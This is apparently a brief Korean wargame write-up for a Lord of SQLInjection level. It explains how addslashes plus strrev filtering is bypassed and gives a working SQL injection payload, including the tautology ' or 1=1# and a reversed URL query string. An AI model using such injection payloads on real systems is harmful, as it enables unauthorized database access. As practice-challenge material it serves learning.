addslashes : ' -> \' 변환
strrev : 문자열 뒤집기
id, pw - prob _ . () 필터링
id에 아무값이나 넣고
pw에 ' or 1=1#
\'인데 strrev하니까 '\
?id='"&pw=%23%201=1%20ro%20
'워게임 > LOS' 카테고리의 다른 글
| [**] xavis (0) | 2021.10.04 |
|---|---|
| [**] nightmare (묵시적 형변환) (0) | 2021.10.04 |
| succubus (0) | 2021.10.03 |
| assassin (0) | 2021.10.02 |
| giant (0) | 2021.10.02 |
댓글